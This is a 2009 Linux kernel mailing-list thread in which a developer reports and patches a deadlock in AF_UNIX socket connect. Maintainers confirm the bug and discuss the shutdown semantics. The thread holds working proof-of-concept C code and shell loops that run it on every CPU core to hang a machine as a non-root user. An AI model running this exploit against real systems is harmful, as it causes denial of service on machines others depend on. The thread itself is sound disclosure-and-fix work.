2009-10-19 06:23:22

by Tomoki Sekiyama

[permalink] [raw]
Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets
until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the
system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;

/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());

/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);

/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
If a file-based socket is used, the system doesn't deadlock because
of context switches in the file system layer.

Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are
inconsistent. The former calls the latter to wait until the backlog is
processed. Despite the latter returns without doing anything when the
socket is shutdown, the former doesn't check the shutdown state and
just retries calling the latter forever.

Patch:
The patch below adds shutdown check into unix_socket_connect(), so
connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <[email protected]>
Signed-off-by: Masanori Yoshida <[email protected]>
---
net/unix/af_unix.c | 2 ++
1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
err = -ECONNREFUSED;
if (other->sk_state != TCP_LISTEN)
goto out_unlock;
+ if (other->sk_shutdown & RCV_SHUTDOWN)
+ goto out_unlock;

if (unix_recvq_full(other)) {
err = -EAGAIN;
--
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]


2009-10-19 06:18:25

by David Miller

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

From: Tomoki Sekiyama <[email protected]>
Date: Mon, 19 Oct 2009 15:02:52 +0900

> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
...
> Why this happens:
> Error checks between unix_socket_connect() and unix_wait_for_peer() are
> inconsistent. The former calls the latter to wait until the backlog is
> processed. Despite the latter returns without doing anything when the
> socket is shutdown, the former doesn't check the shutdown state and
> just retries calling the latter forever.
>
> Patch:
> The patch below adds shutdown check into unix_socket_connect(), so
> connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <[email protected]>
> Signed-off-by: Masanori Yoshida <[email protected]>

Looks good, applied, thank you!

2009-10-19 07:02:11

by Cong Wang

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
<[email protected]> wrote:
> Hi,
> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
>
> How to reproduce:
> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>    namespace(*), and shutdown(2) it.
>  2. Repeat connect(2)ing to the listening socket from the other sockets
>    until the connection backlog is full-filled.
>  3. connect(2) takes the CPU forever. If every core is taken, the
>    system hangs.
>
> PoC code: (Run as many times as cores on SMP machines.)


Interesting...

I tried this with the following command:

% for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
do ./unix-socket-dos-exploit; echo "=====$i====";done
Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====

My system doesn't hang at all.

Am I missing something?

Thanks!

>
> int main(void)
> {
>        int ret;
>        int csd;
>        int lsd;
>        struct sockaddr_un sun;
>
>        /* make an abstruct name address (*) */
>        memset(&sun, 0, sizeof(sun));
>        sun.sun_family = PF_UNIX;
>        sprintf(&sun.sun_path[1], "%d", getpid());
>
>        /* create the listening socket and shutdown */
>        lsd = socket(AF_UNIX, SOCK_STREAM, 0);
>        bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
>        listen(lsd, 1);
>        shutdown(lsd, SHUT_RDWR);
>
>        /* connect loop */
>        alarm(15); /* forcely exit the loop after 15 sec */
>        for (;;) {
>                csd = socket(AF_UNIX, SOCK_STREAM, 0);
>                ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
>                if (-1 == ret) {
>                        perror("connect()");
>                        break;
>                }
>                puts("Connection OK");
>        }
>        return 0;
> }
>
> (*) Make sun_path[0] = 0 to use the abstruct namespace.
>    If a file-based socket is used, the system doesn't deadlock because
>    of context switches in the file system layer.
>
> Why this happens:
>  Error checks between unix_socket_connect() and unix_wait_for_peer() are
>  inconsistent. The former calls the latter to wait until the backlog is
>  processed. Despite the latter returns without doing anything when the
>  socket is shutdown, the former doesn't check the shutdown state and
>  just retries calling the latter forever.
>
> Patch:
>  The patch below adds shutdown check into unix_socket_connect(), so
>  connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <[email protected]>
> Signed-off-by: Masanori Yoshida <[email protected]>
> ---
>  net/unix/af_unix.c |    2 ++
>  1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
>        err = -ECONNREFUSED;
>        if (other->sk_state != TCP_LISTEN)
>                goto out_unlock;
> +       if (other->sk_shutdown & RCV_SHUTDOWN)
> +               goto out_unlock;
>
>        if (unix_recvq_full(other)) {
>                err = -EAGAIN;

2009-10-19 08:54:08

by Tomoki Sekiyama

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi, thanks for testing!

Américo Wang wrote:
> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
> <[email protected]> wrote:
>> Hi,
>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>> attack against the local machine by non-root users.
>>
>> How to reproduce:
>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>> namespace(*), and shutdown(2) it.
>> 2. Repeat connect(2)ing to the listening socket from the other sockets
>> until the connection backlog is full-filled.
>> 3. connect(2) takes the CPU forever. If every core is taken, the
>> system hangs.
>>
>> PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

> Interesting...
>
> I tried this with the following command:
>
> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
> do ./unix-socket-dos-exploit; echo "=====$i====";done
<snip>
> My system doesn't hang at all.
>
> Am I missing something?
>
> Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

--
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]

2009-10-19 08:58:11

by Tomoki Sekiyama

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi, thanks for testing!

Américo Wang wrote:
> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
> <[email protected]> wrote:
>> Hi,
>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>> attack against the local machine by non-root users.
>>
>> How to reproduce:
>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>> namespace(*), and shutdown(2) it.
>> 2. Repeat connect(2)ing to the listening socket from the other sockets
>> until the connection backlog is full-filled.
>> 3. connect(2) takes the CPU forever. If every core is taken, the
>> system hangs.
>>
>> PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

> Interesting...
>
> I tried this with the following command:
>
> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
> do ./unix-socket-dos-exploit; echo "=====$i====";done
<snip>
> My system doesn't hang at all.
>
> Am I missing something?
>
> Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

--
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]

2009-10-19 09:06:11

by Cong Wang

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

On Mon, Oct 19, 2009 at 4:58 PM, Tomoki Sekiyama
<[email protected]> wrote:
> Hi, thanks for testing!
>
> Américo Wang wrote:
>> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
>> <[email protected]> wrote:
>>> Hi,
>>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>>> attack against the local machine by non-root users.
>>>
>>> How to reproduce:
>>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>>>    namespace(*), and shutdown(2) it.
>>>  2. Repeat connect(2)ing to the listening socket from the other sockets
>>>    until the connection backlog is full-filled.
>>>  3. connect(2) takes the CPU forever. If every core is taken, the
>>>    system hangs.
>>>
>>> PoC code: (Run as many times as cores on SMP machines.)
>
> Sorry for my ambiguous explanation ...
>
>> Interesting...
>>
>> I tried this with the following command:
>>
>> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
>> do ./unix-socket-dos-exploit; echo "=====$i====";done
> <snip>
>> My system doesn't hang at all.
>>
>> Am I missing something?
>>
>> Thanks!
>
> You should run the ./unix-socket-dos-exploit concurrently, like below:
>
> for i in {1..4} ; do ./unix-socket-dos-exploit & done
>
> # For safety reason, the PoC code stops in 15 seconds by alarm(15).

Hmm, you are right.

My system hangs for 10 or more seconds after I did what you said.
Confirmed.

Thanks!

2009-10-19 11:57:17

by Jarek Poplawski

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

On 19-10-2009 08:02, Tomoki Sekiyama wrote:
...
> Why this happens:
> Error checks between unix_socket_connect() and unix_wait_for_peer() are
> inconsistent. The former calls the latter to wait until the backlog is
> processed. Despite the latter returns without doing anything when the
> socket is shutdown, the former doesn't check the shutdown state and
> just retries calling the latter forever.
>
> Patch:
> The patch below adds shutdown check into unix_socket_connect(), so
> connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <[email protected]>
> Signed-off-by: Masanori Yoshida <[email protected]>
> ---
> net/unix/af_unix.c | 2 ++
> 1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
> err = -ECONNREFUSED;
> if (other->sk_state != TCP_LISTEN)
> goto out_unlock;
> + if (other->sk_shutdown & RCV_SHUTDOWN)
> + goto out_unlock;

Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

Jarek P.

2009-10-19 13:14:38

by David Miller

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

From: Jarek Poplawski <[email protected]>
Date: Mon, 19 Oct 2009 11:57:13 +0000

> Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

No, because the send side is still up and operational, it's
only a half duplex close.

2009-10-19 18:07:28

by Jarek Poplawski

[permalink] [raw]
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

On Mon, Oct 19, 2009 at 06:14:59AM -0700, David Miller wrote:
> From: Jarek Poplawski <[email protected]>
> Date: Mon, 19 Oct 2009 11:57:13 +0000
>
> > Isn't the shutdown call expected to change sk_state to TCP_CLOSE?
>
> No, because the send side is still up and operational, it's
> only a half duplex close.

OK, thanks for the explanation,
Jarek P.